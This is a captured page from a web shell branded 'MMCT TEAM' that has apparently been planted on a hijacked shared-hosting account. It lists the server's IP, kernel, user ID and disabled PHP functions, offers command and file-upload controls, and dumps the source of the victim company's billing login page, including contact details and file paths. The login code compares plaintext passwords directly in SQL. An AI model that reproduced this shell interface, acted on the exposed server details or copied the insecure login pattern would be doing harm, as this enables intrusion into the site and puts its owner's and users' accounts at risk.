MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 216.73.216.128
Web Server : LiteSpeed
System : Linux nl-srv-web513.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.32
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/index.php
<?php include("include/connect.php");session_start();
?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Dronacharya | Admin Protal</title>
        <link href="css/reset.css" rel="stylesheet" type="text/css">
        <link href="css/style.css" rel="stylesheet" type="text/css">
    </head>
    <body>
        <div class="login-page">
        <!-- <div class="left"></div> -->
            <div class="center">
                <form name="hodlogin" method="post" action="">
                    <div class="login-box">
                        <div class="logo text-center">
                            <!-- <h3 style="color: brown;">SAFEMAXX </h3> -->
                            <img src="images/dronacharya-logo.png" title=""> 
                        </div>
                        <div class="form-group">
                            <label>Username</label>
                            <input type="text" name="username" class="form-control" placeholder="Email ID">
                        </div>
                        <div class="form-group">
                            <label>Password</label>
                            <input type="password" id="loginPassword" name="password" class="form-control" placeholder="Password">
                            <span class="eye"></span>
                        </div>
                        <div class="form-group button">
                            <button type="submit" name="submit" class="btn btn-primary btn-block" style="background: #113486;">Submit</button>
                        </div>
                        <a href="forgat_password.php" style="color: #bb9664;">Forget Password</a>
                    </div>
                </form>
            </div>
            <div class="right">
                <h2><span>Dronacharya<br><span>Sunayna</span></span> Pvt. Ltd.</h2>
                <!-- <p><span>Address : </span>निकट ब्लॉक चौराहा दोस्तपुर (जिओ ऑफिस के नीचे)- सुल्तानपुर-228131</p> -->
                <p style="margin-top: 10px;"><span class="icon"><i class="fa fa-phone" aria-hidden="true"></i></span>+91 9919532222 , +91-8115151588</p>
                <p><span class="icon"><i class="fa fa-envelope-o" aria-hidden="true"></i> </span>   info@dronacharyasunayana.com </p>
                <!-- <p><span class="icon"><i class="fa fa-globe" aria-hidden="true"></i></span> www.safemaxxquality.com</p> -->
            </div>
            <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
            <script>
            $('.eye').click(function(){
                $(this).toggleClass('active');
            
                var x = document.getElementById("loginPassword");
                if (x.type === "password") {
                    x.type = "text";
                } else {
                    x.type = "password";
                }
            })
            </script>
        </div>
    </body>
</html>
<?php 
if(isset($_POST['submit']))
{
    $user_id=mysqli_real_escape_string($db, $_POST['username']) ;
    $user_pass= mysqli_real_escape_string($db,$_POST['password']);
    $admin_query="select * from user where email='".$user_id."' AND password='".$user_pass."'";
    $run= mysqli_query($db,$admin_query);
    $row= mysqli_num_rows($run); 
    if($row<1)
    {
        echo "<script> alert('User ID or Password is worng') </script>";
        echo "<script> window.open('index.php','_self')</script>";
    }
    else
    {
        $data=mysqli_fetch_assoc($run);
        $id=$data['user_id'];
        $_SESSION['uid']=$id;
        $_SESSION['uid'];
        echo "<script> window.open('dashboard.php','_self')</script>";
    }
}?>

MMCT - 2023